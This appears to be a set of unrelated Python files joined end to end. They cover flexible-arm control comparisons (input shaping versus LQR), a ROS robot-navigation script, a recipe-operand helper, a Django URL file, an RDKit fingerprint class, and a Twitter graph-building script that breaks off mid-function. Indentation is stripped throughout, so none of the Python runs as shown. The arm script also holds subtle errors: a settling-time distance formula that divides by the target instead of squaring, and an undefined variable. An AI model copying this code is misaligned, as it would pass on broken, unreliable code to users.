dist_damped_shaped_effort1,dist_damped_shaped_effort2 = actuator_effort(dist_damped_response,Shaper_damp,K_damped,Disturb_Dist[0],Disturb_Dist[1])
dist_lqr_effort1,dist_lqr_effort2 = actuator_effort(dist_LQR_response,unshaper,LQR_Gains,Disturb_Dist[0],Disturb_Dist[1])
tau_subshaped_int = lambda x: np.abs(np.interp(x,t,sub_shaped_effort1)) \
+ np.abs(np.interp(x,t,sub_shaped_effort2))
tau_damped_shaped_int = lambda x: np.abs(np.interp(x,t,damped_shaped_effort1)) \
+ np.abs(np.interp(x,t,damped_shaped_effort2))
tau_lqr_int = lambda x: np.abs(np.interp(x,t,lqr_effort1)) + np.abs(np.interp(x,t,lqr_effort2))
subshaped_energy = integrate.quad(tau_subshaped_int,0,tmax)[0]
damped_shaped_energy = integrate.quad(tau_damped_shaped_int,0,tmax)[0]
lqr_energy = integrate.quad(tau_lqr_int,0,tmax)[0]
print('Sub Shaped Energy: {}'.format(subshaped_energy))
print('Damped Shaped Energy: {}'.format(damped_shaped_energy))
print('LQR Energy: {}'.format(lqr_energy))
damped_shaped_X,damped_shaped_Y = two_link.get_xy_coords(n,damped_response,L)
sub_shaped_X,sub_shaped_Y = two_link.get_xy_coords(n,shaped_response,L)
lqr_X,lqr_Y = two_link.get_xy_coords(n,LQR_response,L)
dist_damped_shaped_X,dist_damped_shaped_Y = two_link.get_xy_coords(n,dist_damped_response,L)
dist_sub_shaped_X,dist_sub_shaped_Y = two_link.get_xy_coords(n,dist_shaped_response,L)
dist_lqr_X,dist_lqr_Y = two_link.get_xy_coords(n,dist_LQR_response,L)
damped_shaped_less = np.where(
np.sqrt((damped_shaped_X[:,-1] - des_x[0,-1]) / des_x[0,-1] \
+ (damped_shaped_Y[:,-1] - des_y[0,-1])**2) > 0.05 )
damped_shaped_settle = t[np.amax(damped_shaped_less)]
sub_shaped_less = np.where(
np.sqrt((sub_shaped_X[:,-1] - des_x[0,-1]) / des_x[0,-1] \
+ (sub_shaped_Y[:,-1] - des_y[0,-1])**2) > 0.05 )
sub_shaped_settle = t[np.amax(sub_shaped_less)]
lqr_less = np.where(
np.sqrt((lqr_X[:,-1] - des_x[0,-1]) / des_x[0,-1] \
+ (lqr_Y[:,-1] - des_y[0,-1])**2) > 0.05 )
lqr_settle = t[np.amax(lqr_less)]
print('Optimal Settle: {}'.format(damped_shaped_settle))
print('Subopt Settle: {}'.format(sub_shaped_settle))
print('LQR Settle: {}'.format(lqr_settle))
dist_damped_shaped_less = np.where(
np.sqrt((dist_damped_shaped_X[:,-1] - des_x[0,-1]) / des_x[0,-1] \
+ (dist_damped_shaped_Y[:,-1] - des_y[0,-1])**2) > 0.05 )
dist_damped_shaped_settle = t[np.amax(dist_damped_shaped_less)]
dist_sub_shaped_less = np.where(
np.sqrt((dist_sub_shaped_X[:,-1] - des_x[0,-1]) / des_x[0,-1] \
+ (dist_sub_shaped_Y[:,-1] - des_y[0,-1])**2) > 0.05 )
dist_sub_shaped_settle = t[np.amax(dist_sub_shaped_less)]
dist_lqr_less = np.where(
np.sqrt((dist_lqr_X[:,-1] - des_x[0,-1]) / des_x[0,-1] \
+ (dist_lqr_Y[:,-1] - des_y[0,-1])**2) > 0.05 )
dist_lqr_settle = t[np.amax(dist_lqr_less)]
print('Disturbed Optimal Settle: {}'.format(dist_damped_shaped_settle))
print('Disturbed Subopt Settle: {}'.format(dist_sub_shaped_settle))
print('Disturbed LQR Settle: {}'.format(dist_lqr_settle))
genplt.compare_responses(t,
damped_shaped_X[:,-1],'Concurrent',
lqr_X[:,-1],'LQR',
sub_shaped_X[:,-1],'Sequential',
name_append='X',
xlabel='Time (s)',ylabel='X Position (m)',
folder=folder,grid=False,save_data=False,ncol=1,legend_loc='bottom',ymax=0.1,
)
genplt.compare_responses(t,
damped_shaped_Y[:,-1],'Concurrent',
lqr_Y[:,-1],'LQR',
sub_shaped_Y[:,-1],'Sequential',
name_append='Y',
xlabel='Time (s)',ylabel='Y Position (m)',
folder=folder,grid=False,save_data=False,ncol=1,legend_loc='bottom',ymax=0.1,
)
genplt.compare_responses(t,
dist_damped_shaped_X[:,-1],'Concurrent',
dist_lqr_X[:,-1],'LQR',
name_append='Dist_Payload_X',
xlabel='Time (s)',ylabel='X Position (m)',
folder=folder,grid=False,save_data=False,ncol=1,ymax=0.1,
)
genplt.compare_responses(t,
dist_damped_shaped_Y[:,-1],'Concurrent',
dist_lqr_Y[:,-1],'LQR',
name_append='Dist_Payload_Y',
xlabel='Time (s)',ylabel='Y Position (m)',
folder=folder,grid=False,save_data=False,ncol=1,ymax=0.1,
)
genplt.compare_responses(t,
damped_shaped_effort1,'Concurrent',
lqr_effort1,'LQR',
sub_shaped_effort1,'Sequential',
name_append='Effort_1',
xlabel='Time (s)',ylabel=r'Torque (N$\cdot$m)',
folder=folder,grid=False,save_data=False,ncol=1,ymax=0.1,
)
genplt.compare_responses(t,
damped_shaped_effort2,'Concurrent',
lqr_effort2,'LQR',
sub_shaped_effort2,'Sequential',
name_append='Effort_2',
xlabel='Time (s)',ylabel=r'Torque (N$\cdot$m)',
folder=folder,grid=False,save_data=False,ncol=1,ymax=0.1,
)
genplt.compare_responses(t,
dist_damped_shaped_effort1,'Act1 Damp',
dist_lqr_effort1,'Act1un',
dist_subshaped_effort1,'Actsub',
name_append='Dist_Payload_Effort_1',
xlabel='Time (s)',ylabel=r'Torque (N$\cdot$m)',
folder=folder,grid=False,save_data=False,ncol=2,legend_loc='top',ymax=0.1,
)
genplt.compare_responses(t,
dist_damped_shaped_effort2,'Act2 Damp',
dist_lqr_effort2,'LQR',
name_append='Dist_Payload_Effort_2',
xlabel='Time (s)',ylabel=r'Torque (N$\cdot$m)',
folder=folder,grid=False,save_data=False,ncol=2,legend_loc='top',ymax=0.1,
)
genplt.compare_responses(t,
damped_response[:,n-1],'Concurrent',
LQR_response[:,n-1],'LQR',
shaped_response[:,n-1],'Sequential',
name_append='Flexible_1',
xlabel='Time (s)',ylabel='Angle (rad)',
folder=folder,grid=False,save_data=False,ncol=2,legend_loc='top',ymax=0.1,
)
genplt.compare_responses(t,
damped_response[:,2*n-1],'Concurrent',
LQR_response[:,2*n-1],'LQR',
shaped_response[:,2*n-1],'Sequential',
name_append='Flexible_2',
xlabel='Time (s)',ylabel='Angle (rad)',
folder=folder,grid=False,save_data=False,ncol=2,legend_loc='top',ymax=0.1,
)
genplt.compare_responses(t,
dist_damped_response[:,n-1],'Shaped Damp',
dist_LQR_response[:,n-1],'LQR',
name_append='Dist_Payload_Flexible_1',
xlabel='Time (s)',ylabel='Angle (rad)',
folder=folder,grid=False,save_data=False,ncol=2,legend_loc='top',ymax=0.1,
)
genplt.compare_responses(t,
dist_damped_response[:,2*n-1],'Shaped Damp',
dist_LQR_response[:,2*n-1],'LQR',
name_append='Dist_Payload_Flexible_2',
xlabel='Time (s)',ylabel='Angle (rad)',
folder=folder,grid=False,save_data=False,ncol=2,legend_loc='top',ymax=0.1,
)
|
#! /usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = ["Rachel P. B. Moraes", "Fabio Miranda"]
import rospy
import numpy as np
from numpy import linalg
from tf import transformations
from tf import TransformerROS
import tf2_ros
import cv2
import math
from geometry_msgs.msg import Twist, Vector3, Pose, Vector3Stamped
from ar_track_alvar_msgs.msg import AlvarMarker, AlvarMarkers
from nav_msgs.msg import Odometry
from sensor_msgs.msg import Image, CompressedImage
from std_msgs.msg import Header
from sensor_msgs.msg import LaserScan
from cv_bridge import CvBridge, CvBridgeError
import cormodule
import time
import atividade3_projeto
import visao_module
x = 0
y = 0
z = 0
id = 0
leitura_scan = 0
w = 0.08
v = 0.1
frame = "camera_link"
# frame = "head_camera" # DESCOMENTE para usar com webcam USB via roslaunch tag_tracking usbcam
tfl = 0
tf_buffer = tf2_ros.Buffer()
bridge = CvBridge()
cv_image = None
img_cor = None
media = []
centro = []
atraso = 1.5E9 # 1 segundo e meio. Em nanossegundos
centro_estacao = 0
#("blue", 11, "cat") ("green", 21, "dog") ("pink", 12, "bike")
#Fazendo para Conceito B, assim não utilizamos o id
goal = ("blue", 11, "cat")
station = goal[2]
cor = goal[0]
area = 0.0 # Variavel com a area do maior contorno
# Só usar se os relógios ROS da Raspberry e do Linux desktop estiverem sincronizados.
# Descarta imagens que chegam atrasadas demais
check_delay = False
# A função a seguir é chamada sempre que chega um novo frame
def roda_todo_frame(imagem):
#print("frame")
global cv_image
global media
global centro
global resultados
global img_cor
global area
global centro_estacao
global cor
global goal
global station
cor = goal[0]
station = goal[2]
now = rospy.get_rostime()
imgtime = imagem.header.stamp
lag = now-imgtime # calcula o lag
delay = lag.nsecs
# print("delay ", "{:.3f}".format(delay/1.0E9))
#if delay > atraso and check_delay==True:
# print("Descartando por causa do delay do frame:", delay)
# return
try:
antes = time.clock()
temp_image = bridge.compressed_imgmsg_to_cv2(imagem, "bgr8")
# Note que os resultados já são guardados automaticamente na variável
# chamada resultados
# Parte MobileNet - rede neural
centro, saida_net, resultados = visao_module.processa(temp_image)
for result in resultados:
if result[0] == station and result[1] >= 30:
xi = result[2][0]
xf = result[3][0]
centro_estacao = (xi+xf)/2
# Parte cor:
media, centro, img_cor, area = visao_module.identifica_cor(temp_image, cor)
depois = time.clock()
# Desnecessário - Hough e MobileNet já abrem janelas
cv_image = saida_net.copy()
except CvBridgeError as e:
print('ex', e)
#========================= le_scan =========================
def scaneou(dado):
global leitura_scan
leitura_scan = np.array(dado.ranges[0]).round(decimals=2)
def recebe(msg):
global x # O global impede a recriacao de uma variavel local, para podermos usar o x global ja' declarado
global y
global z
global id
for marker in msg.markers:
id = marker.id
marcador = "ar_marker_" + str(id)
#print(tf_buffer.can_transform(frame, marcador, rospy.Time(0)))
header = Header(frame_id=marcador)
# Procura a transformacao em sistema de coordenadas entre a base do robo e o marcador numero 100
# Note que para seu projeto 1 voce nao vai precisar de nada que tem abaixo, a
# Nao ser que queira levar angulos em conta
trans = tf_buffer.lookup_transform(frame, marcador, rospy.Time(0))
# Separa as translacoes das rotacoes
x = trans.transform.translation.x
y = trans.transform.translation.y
z = trans.transform.translation.z
# ATENCAO: tudo o que vem a seguir e' so para calcular um angulo
# Para medirmos o angulo entre marcador e robo vamos projetar o eixo Z do marcador (perpendicular)
# no eixo X do robo (que e' a direcao para a frente)
t = transformations.translation_matrix([x, y, z])
# Encontra as rotacoes e cria uma matriz de rotacao a partir dos quaternions
r = transformations.quaternion_matrix([trans.transform.rotation.x, trans.transform.rotation.y, trans.transform.rotation.z, trans.transform.rotation.w])
m = np.dot(r,t) # Criamos a matriz composta por translacoes e rotacoes
z_marker = [0,0,1,0] # Sao 4 coordenadas porque e' um vetor em coordenadas homogeneas
v2 = np.dot(m, z_marker)
v2_n = v2[0:-1] # Descartamos a ultima posicao
n2 = v2_n/linalg.norm(v2_n) # Normalizamos o vetor
x_robo = [1,0,0]
cosa = np.dot(n2, x_robo) # Projecao do vetor normal ao marcador no x do robo
angulo_marcador_robo = math.degrees(math.acos(cosa))
# Terminamos
#print("id: {} x {} y {} z {} angulo {} ".format(id, x,y,z, angulo_marcador_robo))
#====================== tratamento de eventos ============================
faixa_creeper = 30
faixa_ponto_fuga = 20
faixa_estacao = 30
procurar_estacao = False
d = 0.21
status_creeper=False
coef_angular_positivo = []
coef_angular_negativo = []
coef_linear_positivo = []
coef_linear_negativo = []
mediana_x = 0
mediana_y = 0
id_creeper = 0
status_area = False
status_comeca = True
#funções de ações do robô =======================================
def comeca(v,w):
vel = Twist(Vector3(v,0,0), Vector3(0,0,w))
return vel
def anda_pista(centro_robo, ponto_fuga, faixa_ponto_fuga,v,w):
if ponto_fuga + faixa_ponto_fuga < centro_robo:
print('esquerda')
vel = Twist(Vector3(0,0,0), Vector3(0,0,w))
elif ponto_fuga - faixa_ponto_fuga > centro_robo:
print('direita')
vel = Twist(Vector3(0,0,0), Vector3(0,0,-w))
if abs(ponto_fuga - centro_robo) <= faixa_ponto_fuga:
print('reto')
vel = Twist(Vector3(v,0,0), Vector3(0,0,0))
return vel
def procurando_creeper(centro_creeper, centro_robo, faixa_creeper, v, w, d):
if centro_creeper + faixa_creeper < centro_robo:
print('procurando creeper')
vel = Twist(Vector3(0,0,0), Vector3(0,0,w))
elif centro_creeper - faixa_creeper > centro_robo:
print('procurando creeper')
vel = Twist(Vector3(0,0,0), Vector3(0,0,-w))
if abs(centro_creeper - centro_robo) <= faixa_creeper:
if d<= 0.4:
vel = Twist(Vector3(v/2,0,0), Vector3(0,0,0))
print("prox")
else:
vel = Twist(Vector3(v,0,0), Vector3(0,0,0))
return vel
def parar():
vel = Twist(Vector3(0,0,0), Vector3(0,0,0))
return vel
def procurar_pista(v,w):
#creeper roxo
w = 0.1
#creeper azul e verde
#w = -0.1
vel = Twist(Vector3(0,0,0), Vector3(0,0,w))
return vel
def dar_re(v,w):
v = -0.2
w = 0.05
vel = Twist(Vector3(v,0,0), Vector3(0,0,w))
return vel
def procura_estacao(centro_estacao, centro_robo, faixa_estacao, v, w, leitura_scan):
v = 0.1
w = 0.08
if centro_estacao + faixa_estacao < centro_robo:
vel = Twist(Vector3(0,0,0), Vector3(0,0,w))
print('procurando estação')
elif centro_estacao - faixa_estacao > centro_robo:
vel = Twist(Vector3(0,0,0), Vector3(0,0,-w))
print('procurando estação')
if abs(centro_estacao - centro_robo) <= faixa_estacao:
vel = Twist(Vector3(v,0,0), Vector3(0,0,0))
print('achei estacao')
return vel
#main ==================================================================
if __name__=="__main__":
#print("Coordenadas configuradas para usar robô virtual, para usar webcam USB altere no código fonte a variável frame")
rospy.init_node("marcador") # Como nosso programa declara seu nome para o sistema ROS
topico_imagem = "/camera/rgb/image_raw/compressed"
recebedor2 = rospy.Subscriber(topico_imagem, CompressedImage, roda_todo_frame, queue_size=4, buff_size = 2**24)
recebedor = rospy.Subscriber("/ar_pose_marker", AlvarMarkers, recebe) # Para recebermos notificacoes de que marcadores foram vistos
velocidade_saida = rospy.Publisher("/cmd_vel", Twist, queue_size = 1) # Para podermos controlar o robo
recebe_scan = rospy.Subscriber("/scan", LaserScan, scaneou)
tfl = tf2_ros.TransformListener(tf_buffer) # Para fazer conversao de sistemas de coordenadas - usado para calcular angulo
# Exemplo de categoria de resultados
# [('chair', 86.965459585189819, (90, 141), (177, 265))]
# Inicializando - por default gira no sentido anti-horário
# vel = Twist(Vector3(0,0,0), Vector3(0,0,math.pi/10.0))
#================================
#Para atividade 5
#Verde -> id=3
#Azul -> id=2
#Roxo -> id=1
#================================
vel = Twist(Vector3(0,0,0), Vector3(0,0,0))
try:
while not rospy.is_shutdown():
if cv_image is not None:
try:
ponto_fuga = atividade3_projeto.ponto_fuga(cv_image)
#print('ponto fuga')
#print(ponto_fuga)
except:
pass
if status_comeca == True:
vel = comeca(0.12,0.03)
velocidade_saida.publish(vel)
status_comeca = False
rospy.sleep(9)
if len(centro) and len(media) != 0:
print('leitura scan')
print(leitura_scan)
print("Area:",area)
if area > 7000:
status_area = True
if status_area == True and status_creeper == False:
print('centro estacao')
print(centro_estacao)
centro_estacao = 0
vel = procurando_creeper(media[0], centro[0], faixa_creeper, v, w, leitura_scan)
if leitura_scan <= d:
vel = parar()
# publish
velocidade_saida.publish(vel)
status_creeper = True
print('USE A GARRA')
raw_input()
#posição inicial da garra para pegar o creeper
#x: 0.300
#y: 0
#z: 0.304
#Greeper: 0.02
#posição depois de pegar o creeper:
#setar home pose
elif status_creeper == True and centro_estacao != 0:
procurar_estacao = True
if leitura_scan > 0.5:
print('entro')
vel = procura_estacao(centro_estacao, centro[0], faixa_estacao, leitura_scan, v, w)
elif leitura_scan <= 0.5:
vel = parar()
#publish
velocidade_saida.publish(vel)
print('parei')
print('')
print('SOLTE O CREEPER')
raw_input()
#elif status_creeper == True and procurar_estacao == False and status_re == False:
# vel = procurar_pista(v,w)
else:
vel = anda_pista(centro[0], ponto_fuga[0], faixa_ponto_fuga, v, w)
if status_creeper == True and ponto_fuga[0] == 0 and centro_estacao == 0:
vel = dar_re(v,w)
if ponto_fuga[0] != 0 and status_creeper == True and procurar_estacao == False:
vel = anda_pista(centro[0], ponto_fuga[0], faixa_ponto_fuga, v, w)
else:
print('parado')
vel = Twist(Vector3(0,0,0), Vector3(0,0,0))
velocidade_saida.publish(vel)
# Note que o imshow precisa ficar *ou* no codigo de tratamento de eventos *ou* no thread principal, não em ambos
cv2.imshow("cv_image no loop principal", cv_image)
cv2.waitKey(1)
if img_cor is not None:
cv2.imshow("DEBUG", img_cor)
cv2.waitKey(1)
else:
print("cor_debug is null")
rospy.sleep(0.05)
except rospy.ROSInterruptException:
print("Ocorreu uma exceção com o rospy") |
import cheffu.constants as c
def operands_equal(operand_a, operand_b):
sigil_a = operand_a['sigil']
sigil_b = operand_b['sigil']
assert(sigil_a == sigil_b == c.OPERAND_SIGIL)
name_a = operand_a['name']
name_b = operand_b['name']
if name_a != name_b:
return False
modifiers_a = operand_a['modifiers']
modifiers_b = operand_b['modifiers']
if len(modifiers_a ^ modifiers_b) != 0:
return False
return True |
from django.conf.urls.defaults import patterns, include, url
urlpatterns = patterns('shopback.users.views',
url(r'^username/$','get_usernames_by_segstr',name='usernames_by_segstr'),
) |
import numpy as np
from scipy import sparse
import h5py
from rdkit import Chem
from rdkit.Chem import rdMolDescriptors
from tqdm import tqdm
from pathlib import Path
class Setup(object):
"""Handles all the evaluation stuff for a given fingerprint setting."""
def __init__(self, fingerprint, smifile, verbose=False):
"""This class just wraps all the analysis together so that it's easier later to
evaluate multiple fingerprint types and regressors/classifiers using a common interface.
Parameters
-----------
fingerprint: str. One of: 'morgan'
fpsize: int. Dimensions of the fingerprint. Rdkit will do the folding down to this size.
smifile: str. A text file with a single column and a header. Each line below the header
is a single smiles code for a ligand. This comes from parse_data.py"""
self.fingerprint_kind=fingerprint
#these two come from parse_data.py
self.base = smifile
self.smifile = self.base+'_short.smi'
self.scorefile = self.base+'_short.npy'
self.num_ligs = sum(1 for line in open(self.smifile))-1 #it comes in handy a few times to know how many ligands there are
self.verbose=verbose
def load_smiles(self):
"""Loads the smifile and stores as list """
if self.verbose:
print('loading smiles')
f = open(self.smifile, 'r')
f.readline()
self.smiles = np.array([line[:-1] for line in f])
f.close()
def load_scores(self):
"""Loads the scores and stores as np.float16"""
self.scores = np.load(self.scorefile)
def get_fingerprint_function(self):
"""RDKit has lots of different ways to make fingerprits.
So this just returns the correct function for a given FP.
Source of parameters is (awesome) FPSim2 from ChEMBL:
https://github.com/chembl/FPSim2/blob/master/FPSim2/io/chem.py
No input since the fingerprint type is set during init"""
if self.fingerprint_kind=='morgan':
function = rdMolDescriptors.GetMorganFingerprintAsBitVect
pars = { "radius": 2,
"nBits": 65536,
"invariants": [],
"fromAtoms": [],
"useChirality": False,
"useBondTypes": True,
"useFeatures": False,
}
if self.fingerprint_kind=='morgan_feat':
function = rdMolDescriptors.GetMorganFingerprintAsBitVect
pars = { "radius": 2,
"nBits": 65536,
"invariants": [],
"fromAtoms": [],
"useChirality": False,
"useBondTypes": True,
"useFeatures": True,
}
if self.fingerprint_kind=='atompair':
function = rdMolDescriptors.GetHashedAtomPairFingerprintAsBitVect
pars = { "nBits": 65536,
"minLength": 1,
"maxLength": 30,
"fromAtoms": 0,
"ignoreAtoms": 0,
"atomInvariants": 0,
"nBitsPerEntry": 4,
"includeChirality": False,
"use2D": True,
"confId": -1,
}
if self.fingerprint_kind=='topologicaltorsion':
function = rdMolDescriptors.GetHashedTopologicalTorsionFingerprintAsBitVect
pars = { "nBits": 65536,
"targetSize": 4,
"fromAtoms": 0,
"ignoreAtoms": 0,
"atomInvariants": 0,
"includeChirality": False,
}
if self.fingerprint_kind=='maccs':
function = rdMolDescriptors.GetMACCSKeysFingerprint
pars = { }
if self.fingerprint_kind=='rdk':
function = Chem.RDKFingerprint
pars = { "minPath": 1,
"maxPath": 6, #reduced this from 7 to reduce numOnBits
"fpSize": 65536,
"nBitsPerHash": 1, #reduced from 2 to reduce numOnBits
"useHs": True,
"tgtDensity": 0.0,
"minSize": 128,
"branchedPaths": True,
"useBondOrder": True,
"atomInvariants": 0,
"fromAtoms": 0,
"atomBits": None,
"bitInfo": None,
}
if self.fingerprint_kind=='pattern':
function = Chem.PatternFingerprint
pars = { "fpSize": 65536,
"atomCounts": [],
"setOnlyBits": None
}
return function, pars
def write_fingerprints(self, overWrite=False):
"""Writes one of the rdkit fingerprints to a sparse matrix.
Currently using size 65536 - this is usually way too large,
but it leaves room to move. There is a folding function to
get back to common usage sizes.
This function also checks if a fingerprint file has been written
already. If so, if requires `overWrite` to be True to re-write
the file.
"""
fingerprint_file = Path("../processed_data/"+self.base+'_'+self.fingerprint_kind+".npz")
if fingerprint_file.is_file() and not overWrite:
raise Exception('Fingerprint file exists already. Set `overWrite` to true to re-write it')
else:
pass
if self.verbose:
print('Generating fingerprints at size 65536 (except MACCS)...')
fingerprint_function, pars = self.get_fingerprint_function()
smifile = open(self.smifile, 'r') #file containing the smiles codes.
smifile.readline() #read past the header.
#store bit indices in these:
row_idx = list()
col_idx = list()
#iterate through file,
for count, line in tqdm(enumerate(smifile), total=self.num_ligs, smoothing=0):
mol = Chem.MolFromSmiles(line[:-1])
fp = fingerprint_function(mol, **pars)
onbits = list(fp.GetOnBits())
#these bits all have the same row:
row_idx += [count]*len(onbits)
#and the column indices of those bits:
col_idx+=onbits
smifile.close()
#generate a sparse matrix out of the row,col indices:
unfolded_size = 166 if self.fingerprint_kind=='MACCS' else 65536
fingerprint_matrix = sparse.coo_matrix((np.ones(len(row_idx)).astype(bool), (row_idx, col_idx)),
shape=(max(row_idx)+1, unfolded_size))
#convert to csr matrix, it is better:
fingerprint_matrix = sparse.csr_matrix(fingerprint_matrix)
#save file:
sparse.save_npz('../processed_data/'+self.base+'_'+self.fingerprint_kind+'.npz', fingerprint_matrix)
def load_fingerprints(self):
"""Load the npz file saved in the `write_fingerprints` step.
"""
fingerprint_file = Path("../processed_data/"+self.base+'_'+self.fingerprint_kind+".npz")
if not fingerprint_file.is_file():
raise Exception('Fingerprint file does not exists already. Run `write_fingerprints`')
if self.verbose:
print('loading fingerprints npz file')
#use sparse fingerprints:
self.fingerprints = sparse.load_npz('../processed_data/'+self.base+'_'+self.fingerprint_kind+'.npz')
def fold_fingerprints(self, feature_matrix):
"""Folds a fingerprint matrix by bitwise OR.
(scipy will perform the bitwise OR because the `data` is bool,
and it will not cast it to int when two Trues are added."""
ncols = feature_matrix.shape[1]
return feature_matrix[:,:ncols//2] + feature_matrix[:,ncols//2:]
def fold_to_size(self, size):
"""Performs the `fold` operation multiple times to reduce fp
length to the desired size."""
if self.verbose:
print(f'Folding to {size}...')
if self.fingerprint_kind=='MACCS':
return self.fingerprints
feature_matrix = self.fingerprints
while feature_matrix.shape[1]>size:
feature_matrix = self.fold_fingerprints(feature_matrix)
return feature_matrix
def random_split(self, number_train_ligs):
"""Simply selects some test and train indices"""
idx = np.arange(self.num_ligs)
np.random.shuffle(idx)
self.train_idx = idx[:number_train_ligs]
self.test_idx = idx[number_train_ligs:]
def write_results(self, preds, fpsize, trainingSize, name, repeat_number):
"""Writes an HDF5 file that stores the results.
preds: np.array: prediction scores for the test samples
fpsize: int: size the fingerprint was folded to
name: str: the estimator name, as stored in the json
repeat_number: int.
Results stored are:
- test indices
- preds
and there should be one set of results for each repeat."""
#write the first time, append afterwards.
write_option = 'w' if repeat_number==0 else 'a'
outf = h5py.File('../processed_data/'+self.fingerprint_kind+'_'+str(fpsize)+'_'+str(trainingSize)+'_'+name+'.hdf5', write_option)
rp = outf.create_group(f'repeat{repeat_number}')
dset_idx = rp.create_dataset('test_idx', self.test_idx.shape, dtype='int')
dset_idx[:] = self.test_idx
dset_pred = rp.create_dataset('prediction', preds.shape, dtype='float16')
dset_pred[:] = preds
outf.close()
|
#!/usr/bin/env python
# coding: utf-8
#from itertools import gzip
import cPickle as pickle
#import pandas as pd
import numpy as np
import os
import gzip
import time
import sys
#get_ipython().magic(u'matplotlib inline')
from operator import itemgetter
import matplotlib
matplotlib.use('Agg')
import matplotlib.pylab as plt
import random
from random import randint
input_graphs = 4#int(sys.argv[3])
start_date = sys.argv[1]
end_date = sys.argv[2]
def get_offset( filename ):
if filename.startswith('follow'):
offset = 0
elif filename.startswith('quote'):
offset = 1
elif filename.startswith('reply'):
offset = 2
elif filename.startswith('retweet'):
offset = 3
else:
print("Not valid input name")
return offset
def get_graph( i ):
if i == 0:
return "Follow"
if i == 1:
return "Quote"
if i == 2:
return "Reply"
if i == 3:
return "Retweet"
def preload_follow():
"""
(pre) Loads the follow graph till (Jan 2018) from pickle file.
"""
with open('followSet.pk', 'rb') as handle:
followSet = pickle.load(handle)
return followSet
def read_graph( ):
start = time.time()
""" Reads input graph, saves edge list ,node mapping (useful for twitter graphs), edge mapping (for numpy arrays)
returns number of nodes, number of edges
"""
# load follow graph as crawled so far
followSet = preload_follow()
# create node mapping from (hashed) IDs to 0..n range
# compresses storing in dictionaries
node_mapping = {}
k = 0
ffc = 0
eList = dict()
eList_undirected = set()
graph_types = ["quote","reply","retweet"]
filenames = [gt+"-2018-02-"+str(i).zfill(2)+".txt" for i in xrange(int(start_date), int(end_date)+1) for gt in graph_types]
for filename in filenames:
t = 0
offset = get_offset( filename )
with open('data/'+filename, 'r') as f:
for edge in f:
nodes = edge.split()
u = nodes[0]
v = nodes[1]
if (u == "deleted") or (v == "deleted"):
pass
elif ( u == v ):
pass
else:
if u not in node_mapping:
node_mapping[u] = k
k += 1
if v not in node_mapping:
node_mapping[v] = k
k += 1
u1 = node_mapping[u]
v1 = node_mapping[v]
if (u1, v1) not in eList:
eList[(u1, v1)] = [0 for _ in range(input_graphs)]
eList[(u1, v1)][offset] = 1
# first time an edge is observed, look if our crawler has identified, some follow relationship
if (u,v) in followSet:
ffc += 1
eList[(u1,v1)][0] = 1
else:
t += 1
eList[(u1, v1)][offset] = 1
if (v1,u1) not in eList_undirected:
eList_undirected.add((u1, v1))
print "Finished reading {} graph".format( filename )
print "Number of nodes so far: {}".format( k )
print "Number of edges so far: {}".format( len(eList) )
print "Common edges in this iteration: {}".format( t )
print "So far there are: {} follow edges".format(ffc)
# ADD FOLLOW EDGES ONLY TO EXISTING EDGES!
print "Add follow relationships to existing edges"
graph_types = ["follow"]
filenames = [gt+"-2018-02-"+str(i).zfill(2)+".txt" for i in xrange(int(start_date), int(end_date)+1) for gt in graph_types]
for filename in filenames:
offset = get_offset(filename)
with open('data/'+filename, 'r') as f:
for edge in f:
nodes = edge.split()
u = nodes[0]
v = nodes[1]
if (u == "deleted") or (v == "deleted"):
pass
elif ( u == v ):
pass
else:
if (u in node_mapping) and (v in node_mapping):
u1 = node_mapping[u]
v1 = node_mapping[v]
if (u1,v1) in eList:
ffc += 1
eList[(u1,v1)][offset] = 1
# SAVE EDGE LIST DICTIONARY AS PICKLE FILES
with open('edge_list_hd.pickle', 'wb') as f2:
pickle.dump(eList, f2, protocol=pickle.HIGHEST_PROTOCOL)
end = time.time()
elapsed = end - start
print " FFC = {}".format(ffc)
print "Time creating multilayer graph:{}".format(elapsed)
return eList, eList_undirected
def create_mace_graph( eList_undirected ):
max0 = max(eList_undirected, key=lambda x: x[0])[0]
max1 = max(eList_undirected, key=lambda x: x[1])[1]
nn = max(max0, max1)+1
edges = [[] for i in range(nn)]
for e in eList_undirected:
edges[min(e[0],e[1])].append(max(e[0],e[1]))
for i in xrange(len(edges)):
edges[i] = sorted(edges[i])
f = open('twitter_hd.mace', 'w')
for node in edges:
neis = ' '.join([str(t) for t in node])
f.write(neis+'\n')
def degree_features( eList ):
from collections import Counter
edges = eList.keys()
max0 = max(edges, key=lambda x: x[0])[0]
max1 = max(edges, key=lambda x: x[1])[1]
nnodes = max(max0,max1)+1
degrees = [[0 for _ in range(2*input_graphs)] for n in range(nnodes)]
print "Finished init"
for e in eList:
for i in range(input_graphs):
degrees[e[0]][i] += eList[e][i]
degrees[e[1]][input_graphs+i] += eList[e][i]
#print "Plotting outdegree distributions"
#for i in range(input_graphs):
# outdeg = [x[i] for x in degrees]
# outdist = dict(Counter(outdeg))
# items = sorted(outdist.items())
# fig = plt.figure()
# ax = fig.add_subplot(111)
# ax.plot([k for (k,v) in items], [v for (k,v) in items])
# ax.set_xscale('log')
# ax.set_yscale('log')
# ttle1 = "Log-log outdegree distribution for "+get_graph(i)+" graph "+"("+start_date+"-"+end_date+")"
# plt.title(ttle1)
# ttle2 = "degree_figures/"+get_graph(i)+"("+start_date+"-"+end_date+")_outdegree.eps"
# plt.savefig(ttle2, format='eps', dpi=1000)
#print "Plotting indegree distributions"
#for i in range(input_graphs):
# indeg = [x[input_graphs+i] for x in degrees]
# indist = dict(Counter(indeg))
# items = sorted(indist.items())
# fig = plt.figure()
# ax = fig.add_subplot(111)
# ax.plot([k for (k,v) in items], [v for (k,v) in items])
# ax.set_xscale('log')
# ax.set_yscale('log')
# ttle1 = "Log-log indegree distribution for "+get_graph(i)+" graph "+"("+start_date+"-"+end_date+")"
# plt.title(ttle1)
# ttle2 = "degree_figures/"+get_graph(i)+"("+start_date+"-"+end_date+")_indegree.eps"
# plt.savefig(ttle2, format='eps', dpi=1000)
degree_feature = {}
for e in eList:
degree_vector = degrees[e[0]][:input_graphs]+degrees[e[1]][input_graphs:]
for i in xrange(input_graphs):
degree_vector[i] -= eList[e][i]
degree_vector[input_graphs+i] -= eList[e][i]
degree_vector += [sum(i > 0 for i in degree_vector[:input_graphs])]+[sum(i>0 for i in degree_vector[input_graphs:])]
degree_feature[e] = degree_vector[:]
with open('degree_features_hd.pickle', 'wb') as f1:
pickle.dump(degree_feature, f1, protocol=pickle.HIGHEST_PROTOCOL)
return
def get_triad_type(u, v, t, eList, i):
try:
